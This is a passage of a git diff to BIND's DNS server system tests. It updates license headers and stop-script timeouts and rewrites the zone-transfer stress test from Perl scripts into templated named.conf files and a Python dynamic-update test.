@@ -23,7 +25,6 @@
 
 my $ref = decode_json($text);
 
-
 my $dnssecsign = $ref->{views}->{_default}->{zones}[$zone]->{"dnssec-sign"};
 my $type = "dnssec-sign operations ";
 foreach $key (keys %{$dnssecsign}) {
diff --git a/bin/tests/system/statschannel/zones-xml.pl b/bin/tests/system/statschannel/zones-xml.pl
index 4e56e00225..be868524a6 100644
--- a/bin/tests/system/statschannel/zones-xml.pl
+++ b/bin/tests/system/statschannel/zones-xml.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/stop.pl b/bin/tests/system/stop.pl
index 7d230e69d1..8fa1d4236e 100644
--- a/bin/tests/system/stop.pl
+++ b/bin/tests/system/stop.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl -w
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -96,7 +98,7 @@
 		stop_rndc($name, $rndc_port);
 	}
 
-	@ns = wait_for_servers(30, @ns);
+	@ns = wait_for_servers(120, @ns);
 }
 
 # Pass 2: SIGTERM
@@ -104,13 +106,13 @@
 	stop_signal($name, "TERM");
 }
 
-@ns = wait_for_servers(60, @ns);
+@ns = wait_for_servers(300, @ns);
 
 foreach my $name(@ans) {
 	stop_signal($name, "TERM", 1);
 }
 
-@ans = wait_for_servers(1200, @ans);
+@ans = wait_for_servers(300, @ans);
 
 # Pass 3: SIGABRT
 foreach my $name (@ns) {
@@ -132,8 +134,6 @@
 sub server_lock_file {
 	my ( $server ) = @_;
 
-	return if (defined($ENV{'CYGWIN'}));
-
 	return $testdir . "/" . $server . "/named.lock" if ($server =~ /^ns/);
 	return if ($server =~ /^ans/);
 
@@ -182,6 +182,10 @@ sub stop_rndc {
 	}
 
 	my $ip = "10.53.0.$n";
+	if (-e "$testdir/$server/named.ipv6-only") {
+		$ip = "fd92:7065:b8e:ffff::$n";
+	}
+
 	my $how = $halt ? "halt" : "stop";
 
 	# Ugly, but should work.
@@ -191,7 +195,7 @@ sub stop_rndc {
 
 sub server_died {
 	my ( $server, $signal ) = @_;
-	
+
 	print "I:$test:$server died before a SIG$signal was sent\n";
 	$errors = 1;
 
@@ -210,13 +214,7 @@ sub send_signal {
 
 	my $result = 0;
 
-	if (!$ans && ($^O eq 'cygwin' || $^O eq 'msys')) {
-		my $killout = `/bin/kill -f -$signal $pid 2>&1`;
-		chomp($killout);
-		$result = 1 if ($killout eq '');
-	} else {
-		$result = kill $signal, $pid;
-	}
+	$result = kill $signal, $pid;
 	return $result;
 }
 
@@ -251,12 +249,8 @@ sub pid_file_exists {
 
 	# If we're here, the PID file hasn't been cleaned up yet
 	if (send_signal(0, $pid) == 0) {
-		# XXX: on windows this is likely to result in a
-		# false positive, so don't bother reporting the error.
-		if (!defined($ENV{'CYGWIN'})) {
-			print "I:$test:$server crashed on shutdown\n";
-			$errors = 1;
-		}
+		print "I:$test:$server crashed on shutdown\n";
+		$errors = 1;
 		return;
 	}
 
diff --git a/bin/tests/system/stop.sh.in b/bin/tests/system/stop.sh.in
index ac3964e63c..9b213568d3 100644
--- a/bin/tests/system/stop.sh.in
+++ b/bin/tests/system/stop.sh.in
@@ -2,9 +2,11 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
diff --git a/bin/tests/system/stopall.sh b/bin/tests/system/stopall.sh
deleted file mode 100644
index 1ee87243ad..0000000000
--- a/bin/tests/system/stopall.sh
+++ /dev/null
@@ -1,21 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-#
-# Stop all hanging processes from any system tests.
-#
-
-. ./conf.sh
-
-for d in $SUBDIRS
-do
-   $SHELL stop.sh $d
-done
diff --git a/bin/tests/system/stress/clean.sh b/bin/tests/system/stress/clean.sh
index 828a66ca6f..4833fa7df8 100644
--- a/bin/tests/system/stress/clean.sh
+++ b/bin/tests/system/stress/clean.sh
@@ -1,23 +1,22 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-rm -f reload.pid
-
-rm -f ns?/zones.conf
 rm -f ns?/zone*.bk
 
-rm -f ns1/delegations.db
-
 rm -f ns2/zone0*.db
 rm -f ns2/zone0*.jnl
 rm -f */named.memstats
 rm -f ns*/named.lock
 rm -f ns*/managed-keys.bind*
+rm -f ns*/named.run
+rm -f ns*/named.conf
diff --git a/bin/tests/system/stress/ns1/named.conf b/bin/tests/system/stress/ns1/named.conf
deleted file mode 100644
index d551eaf83d..0000000000
--- a/bin/tests/system/stress/ns1/named.conf
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls { /* empty */ };
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port 5300;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	dnssec-validation no;
-	notify yes;
-};
-
-zone "." {
-	type master;
-	file "root.db";
-};
diff --git a/bin/tests/system/stress/ns2/named.conf b/bin/tests/system/stress/ns2/named.conf
deleted file mode 100644
index c6163a2a63..0000000000
--- a/bin/tests/system/stress/ns2/named.conf
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls { /* empty */ };
-
-options {
-	query-source address 10.53.0.2;
-	notify-source 10.53.0.2;
-	transfer-source 10.53.0.2;
-	port 5300;
-	pid-file "named.pid";
-	listen-on { 10.53.0.2; };
-	listen-on-v6 { none; };
-	recursion no;
-	dnssec-validation no;
-	notify yes;
-};
-
-zone "." {
-	type hint;
-	file "../../common/root.hint";
-};
-
-include "zones.conf";
diff --git a/bin/tests/system/stress/ns2/named.conf.in b/bin/tests/system/stress/ns2/named.conf.in
new file mode 100644
index 0000000000..607e0b5341
--- /dev/null
+++ b/bin/tests/system/stress/ns2/named.conf.in
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+controls { /* empty */ };
+
+options {
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.2; };
+	listen-on-v6 { none; };
+	recursion no;
+	dnssec-validation no;
+	notify yes;
+};
+
+zone "zone000000.example" {
+	type primary;
+	allow-update { any; };
+	file "zone000000.example.db";
+};
+
+zone "zone000001.example" {
+	type primary;
+	allow-update { any; };
+	file "zone000001.example.db";
+};
+
+zone "zone000002.example" {
+	type primary;
+	allow-update { any; };
+	file "zone000002.example.db";
+};
+
+zone "zone000003.example" {
+	type primary;
+	allow-update { any; };
+	file "zone000003.example.db";
+};
+
+zone "zone000004.example" {
+	type primary;
+	allow-update { any; };
+	file "zone000004.example.db";
+};
diff --git a/bin/tests/system/stress/ns2/zone.template.db b/bin/tests/system/stress/ns2/zone.template.db
new file mode 100644
index 0000000000..7ca1cc3de7
--- /dev/null
+++ b/bin/tests/system/stress/ns2/zone.template.db
@@ -0,0 +1,21 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@	IN SOA 	ns2 hostmaster 1 300 120 3600 86400
+@	NS	ns2
+	NS	ns3
+	NS	ns4
+ns2	A	10.53.0.2
+ns3	A	10.53.0.3
+ns4	A	10.53.0.4
+
+$GENERATE 0-999 name${0,6} A 10.0.0.1
diff --git a/bin/tests/system/stress/ns3/named.conf b/bin/tests/system/stress/ns3/named.conf
deleted file mode 100644
index 021d3b3e9a..0000000000
--- a/bin/tests/system/stress/ns3/named.conf
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls { /* empty */ };
-
-options {
-	query-source address 10.53.0.3;
-	notify-source 10.53.0.3;
-	transfer-source 10.53.0.3;
-	port 5300;
-	pid-file "named.pid";
-	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
-	recursion yes;
-	dnssec-validation yes;
-	notify yes;
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.3 port 9953 allow { any; } keys { rndc_key; };
-};
-
-zone "." {
-	type hint;
-	file "../../common/root.hint";
-};
-
-server 10.53.0.4 {
-	provide-ixfr no;
-};
-server 10.53.0.2 {
-	request-ixfr no;
-};
-
-include "zones.conf";
diff --git a/bin/tests/system/stress/ns3/named.conf.in b/bin/tests/system/stress/ns3/named.conf.in
new file mode 100644
index 0000000000..13e54a54e4
--- /dev/null
+++ b/bin/tests/system/stress/ns3/named.conf.in
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+controls { /* empty */ };
+
+options {
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.3; };
+	listen-on-v6 { none; };
+	recursion yes;
+	dnssec-validation yes;
+	notify yes;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+server 10.53.0.4 {
+	provide-ixfr no;
+};
+
+server 10.53.0.2 {
+	request-ixfr no;
+};
+
+zone "zone000000.example" {
+	type secondary;
+	file "zone000000.example.bk";
+	primaries { 10.53.0.2; };
+};
+
+zone "zone000001.example" {
+	type secondary;
+	file "zone000001.example.bk";
+	primaries { 10.53.0.2; };
+};
+
+zone "zone000002.example" {
+	type secondary;
+	file "zone000002.example.bk";
+	primaries { 10.53.0.2; };
+};
+
+zone "zone000003.example" {
+	type secondary;
+	file "zone000003.example.bk";
+	primaries { 10.53.0.2; };
+};
+
+zone "zone000004.example" {
+	type secondary;
+	file "zone000004.example.bk";
+	primaries { 10.53.0.2; };
+};
diff --git a/bin/tests/system/stress/ns4/named.conf b/bin/tests/system/stress/ns4/named.conf
deleted file mode 100644
index d4cfa24413..0000000000
--- a/bin/tests/system/stress/ns4/named.conf
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls { /* empty */ };
-
-options {
-	query-source address 10.53.0.4;
-	notify-source 10.53.0.4;
-	transfer-source 10.53.0.4;
-	port 5300;
-	pid-file "named.pid";
-	listen-on { 10.53.0.4; };
-	listen-on-v6 { none; };
-	recursion yes;
-	dnssec-validation yes;
-	notify yes;
-};
-
-zone "." {
-	type hint;
-	file "../../common/root.hint";
-};
-
-include "zones.conf";
-
diff --git a/bin/tests/system/stress/ns4/named.conf.in b/bin/tests/system/stress/ns4/named.conf.in
new file mode 100644
index 0000000000..26296f52bf
--- /dev/null
+++ b/bin/tests/system/stress/ns4/named.conf.in
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+controls { /* empty */ };
+
+options {
+	query-source address 10.53.0.4;
+	notify-source 10.53.0.4;
+	transfer-source 10.53.0.4;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.4; };
+	listen-on-v6 { none; };
+	recursion yes;
+	dnssec-validation yes;
+	notify yes;
+};
+
+zone "zone000000.example" {
+	type secondary;
+	file "zone000000.example.bk";
+	primaries { 10.53.0.3; };
+};
+
+zone "zone000001.example" {
+	type secondary;
+	file "zone000001.example.bk";
+	primaries { 10.53.0.3; };
+};
+
+zone "zone000002.example" {
+	type secondary;
+	file "zone000002.example.bk";
+	primaries { 10.53.0.3; };
+};
+
+zone "zone000003.example" {
+	type secondary;
+	file "zone000003.example.bk";
+	primaries { 10.53.0.3; };
+};
+
+zone "zone000004.example" {
+	type secondary;
+	file "zone000004.example.bk";
+	primaries { 10.53.0.3; };
+};
diff --git a/bin/tests/system/stress/setup.pl b/bin/tests/system/stress/setup.pl
deleted file mode 100644
index 45c8602194..0000000000
--- a/bin/tests/system/stress/setup.pl
+++ /dev/null
@@ -1,83 +0,0 @@
-#!/usr/bin/perl
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-#
-# Set up test data for zone transfer quota tests.
-#
-use FileHandle;
-
-my $n_zones = 5;
-my $n_names = 1000;
-
-make_zones(2, undef);
-make_zones(3, "10.53.0.2");
-make_zones(4, "10.53.0.3");
-
-my $rootdelegations =
-    new FileHandle("ns1/root.db", "w") or die;
-
-print $rootdelegations <<END;
-\$TTL 300
-.                       IN SOA  gson.nominum.com. a.root.servers.nil. (
-					       2000042100      ; serial
-					       600             ; refresh
-					       600             ; retry
-					       1200            ; expire
-					       600             ; minimum
-                                )
-.                       NS      a.root-servers.nil.
-a.root-servers.nil.     A       10.53.0.1
-END
-
-for ($z = 0; $z < $n_zones; $z++) {
-	my $zn = sprintf("zone%06d.example", $z);
-	foreach $ns (qw(2 3 4)) {
-		print $rootdelegations "$zn.		NS	ns$ns.$zn.\n";
-		print $rootdelegations "ns$ns.$zn.	A	10.53.0.$ns\n";		
-	}
-}
-close $rootdelegations;
-	
-sub make_zones {
-	my ($nsno, $slaved_from) = @_;
-	my $namedconf = new FileHandle("ns$nsno/zones.conf", "w") or die;
-	for ($z = 0; $z < $n_zones; $z++) {
-		my $zn = sprintf("zone%06d.example", $z);
-		if (defined($slaved_from)) {
-			print $namedconf "zone \"$zn\" { type slave; " .
-			    "file \"$zn.bk\"; masters { $slaved_from; }; };\n";
-		} else {
-			print $namedconf "zone \"$zn\" { " .
-			    "type master; " .
-			    "allow-update { any; }; " .
-			    "file \"$zn.db\"; };\n";
-
-			my $fn = "ns$nsno/$zn.db";
-			my $f = new FileHandle($fn, "w") or die "open: $fn: $!";
-			print $f "\$TTL 300
-\@	IN SOA 	ns2.$zn. hostmaster 1 300 120 3600 86400
-@	NS	ns2.$zn.
-ns2.$zn.	A	10.53.0.2
-@	NS	ns3.$zn.
-ns3.$zn.	A	10.53.0.3
-@	NS	ns4.$zn.
-ns4.$zn.	A	10.53.0.4
-	MX	10 mail1.isp.example.
-	MX	20 mail2.isp.example.
-";
-			for ($i = 0; $i < $n_names; $i++) {
-			    print $f sprintf("name%06d", $i) .
-				"	A	10.0.0.1\n";
-		    }
-		    $f->close;
-		}
-	}
-}
diff --git a/bin/tests/system/stress/setup.sh b/bin/tests/system/stress/setup.sh
index 87f388fbb9..aab7002904 100644
--- a/bin/tests/system/stress/setup.sh
+++ b/bin/tests/system/stress/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,8 +14,12 @@
 # shellcheck source=conf.sh
 . ../conf.sh
 
-#
-# Set up test data for zone transfer quota tests.
-#
+cp ns2/zone.template.db ns2/zone000000.example.db
+cp ns2/zone.template.db ns2/zone000001.example.db
+cp ns2/zone.template.db ns2/zone000002.example.db
+cp ns2/zone.template.db ns2/zone000003.example.db
+cp ns2/zone.template.db ns2/zone000004.example.db
 
-$PERL setup.pl
+copy_setports ns2/named.conf.in ns2/named.conf
+copy_setports ns3/named.conf.in ns3/named.conf
+copy_setports ns4/named.conf.in ns4/named.conf
diff --git a/bin/tests/system/stress/tests.sh b/bin/tests/system/stress/tests.sh
deleted file mode 100644
index aa168d14be..0000000000
--- a/bin/tests/system/stress/tests.sh
+++ /dev/null
@@ -1,36 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-status=0
-
-(
-$SHELL -c "while true
-           do $RNDC -c ../common/rndc.conf -s 10.53.0.3 -p 9953 reload 2>&1 |
-	       sed 's/^/I:ns3 /';
-	   sleep 1
-       done" & echo $! >reload.pid
-) &
-
-for i in 0 1 2 3 4
-do
-       $PERL update.pl -s 10.53.0.2 -p 5300 zone00000$i.example. &
-done
-
-echo_i "waiting for background processes to finish"
-wait
-
-echo_i "killing reload loop"
-kill `cat reload.pid`
-
-echo_i "exit status: $status"
-[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/stress/tests_stress_update.py b/bin/tests/system/stress/tests_stress_update.py
new file mode 100644
index 0000000000..d326f14b7f
--- /dev/null
+++ b/bin/tests/system/stress/tests_stress_update.py
@@ -0,0 +1,79 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import concurrent.futures
+import os
+import subprocess
+import time
+import dns.query
+import dns.update
+
+
+def rndc_loop(test_state, server):
+    rndc = os.getenv("RNDC")
+    port = os.getenv("CONTROLPORT")
+
+    cmdline = [
+        rndc,
+        "-c",
+        "../common/rndc.conf",
+        "-p",
+        port,
+        "-s",
+        server,
+        "reload",
+    ]
+
+    while not test_state["finished"]:
+        subprocess.run(cmdline, check=False)
+        time.sleep(1)
+
+
+def update_zone(test_state, zone, named_port, logger):
+    server = "10.53.0.2"
+    for i in range(1000):
+        if test_state["finished"]:
+            return
+        update = dns.update.UpdateMessage(zone)
+        update.add(f"dynamic-{i}.{zone}", 300, "TXT", f"txt-{i}")
+        try:
+            response = dns.query.udp(update, server, 10, named_port)
+            assert response.rcode() == dns.rcode.NOERROR
+        except dns.exception.Timeout:
+            logger.info(f"error: query timeout for {zone}")
+
+    logger.info(f"Update of {server} zone {zone} successful")
+
+
+# If the test has run to completion without named crashing, it has succeeded.
+def test_update_stress(named_port, logger):
+    test_state = {"finished": False}
+
+    with concurrent.futures.ThreadPoolExecutor() as executor:
+        executor.submit(rndc_loop, test_state, "10.53.0.3")
+
+        updaters = []
+        for i in range(5):
+            zone = f"zone00000{i}.example."
+            updaters.append(
+                executor.submit(update_zone, test_state, zone, named_port, logger)
+            )
+
+        # All the update_zone() tasks are expected to complete within 5
+        # minutes.  If they do not, we cannot assert immediately as that will
+        # cause the ThreadPoolExecutor context manager to wait indefinitely;
+        # instead, we first signal all tasks that it is time to exit and only
+        # check whether any task failed to finish within 5 minutes outside of
+        # the ThreadPoolExecutor context manager.
+        unfinished_tasks = concurrent.futures.wait(updaters, timeout=300).not_done
+        test_state["finished"] = True
+
+    assert not unfinished_tasks
diff --git a/bin/tests/system/stress/update.pl b/bin/tests/system/stress/update.pl
deleted file mode 100644
index 0ee18fad7e..0000000000
--- a/bin/tests/system/stress/update.pl
+++ /dev/null
@@ -1,99 +0,0 @@
-#!/usr/bin/perl
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-#
-# Dynamic update test suite.
-#
-# Usage:
-#
-#   perl update_test.pl [-s server] [-p port] zone
-#
-# The server defaults to 127.0.0.1.
-# The port defaults to 53.
-#
-# The "Special NS rules" tests will only work correctly if the
-# has no NS records to begin with, or alternatively has a
-# single NS record pointing at the name "ns1" (relative to
-# the zone name).
-#
-# Installation notes:
-#
-# This program uses the Net::DNS::Resolver module.
-# You can install it by saying
-#
-#    perl -MCPAN -e "install Net::DNS"
-#
-
-use Getopt::Std;
-use Net::DNS;
-use Net::DNS::Update;
-use Net::DNS::Resolver;
-
-$opt_s = "127.0.0.1";
-$opt_p = 53;
-
-getopt('s:p:');
-
-$res = new Net::DNS::Resolver;
-$res->nameservers($opt_s);
-$res->port($opt_p);
-$res->defnames(0); # Do not append default domain.
-
-@ARGV == 1 or die
-    "usage: perl update_test.pl [-s server] [-p port] zone\n";
-
-$zone = shift @ARGV;
-
-my $failures = 0;
-
-sub assert {
-    my ($cond, $explanation) = @_;
-    if (!$cond) {
-	print "I:Test Failed: $explanation ***\n";
-	$failures++
-    }
-}
-
-sub test {
-    my ($expected, @records) = @_;
-
-    my $update = new Net::DNS::Update("$zone");
-
-    foreach $rec (@records) {
-	$update->push(@$rec);
-    }
-
-    $reply = $res->send($update);
-
-    # Did it work?
-    if (defined $reply) {
-	my $rcode = $reply->header->rcode;
-        assert($rcode eq $expected, "expected $expected, got $rcode");
-    } else {
-	print "I:Update failed: ", $res->errorstring, "\n";
-    }
-}
-
-sub section {
-    my ($msg) = @_;
-    print "I:$msg\n";
-}
-
-for ($i = 0; $i < 1000; $i++) {
-    test("NOERROR", ["update", rr_add("dynamic-$i.$zone 300 TXT txt-$i" )]);
-}
-
-if ($failures) {
-    print "I:$failures tests failed.\n";
-} else {
-    print "I:Update of $opt_s zone $zone successful.\n";
-}
-exit $failures;
diff --git a/bin/tests/system/stub/clean.sh b/bin/tests/system/stub/clean.sh
index 56ef8e2435..504df030fb 100644
--- a/bin/tests/system/stub/clean.sh
+++ b/bin/tests/system/stub/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/stub/ns1/named.conf.in b/bin/tests/system/stub/ns1/named.conf.in
index eb072be055..2bf1b40b11 100644
--- a/bin/tests/system/stub/ns1/named.conf.in
+++ b/bin/tests/system/stub/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify yes;
 	minimal-responses no;
 };
diff --git a/bin/tests/system/stub/ns1/root.db b/bin/tests/system/stub/ns1/root.db
index 5d148992a8..361f93e21f 100644
--- a/bin/tests/system/stub/ns1/root.db
+++ b/bin/tests/system/stub/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/stub/ns2/child.example.db b/bin/tests/system/stub/ns2/child.example.db
index 12acc8ae86..9b50a2a352 100644
--- a/bin/tests/system/stub/ns2/child.example.db
+++ b/bin/tests/system/stub/ns2/child.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/stub/ns2/named.conf.in b/bin/tests/system/stub/ns2/named.conf.in
index a357c31415..1f006e0b8f 100644
--- a/bin/tests/system/stub/ns2/named.conf.in
+++ b/bin/tests/system/stub/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
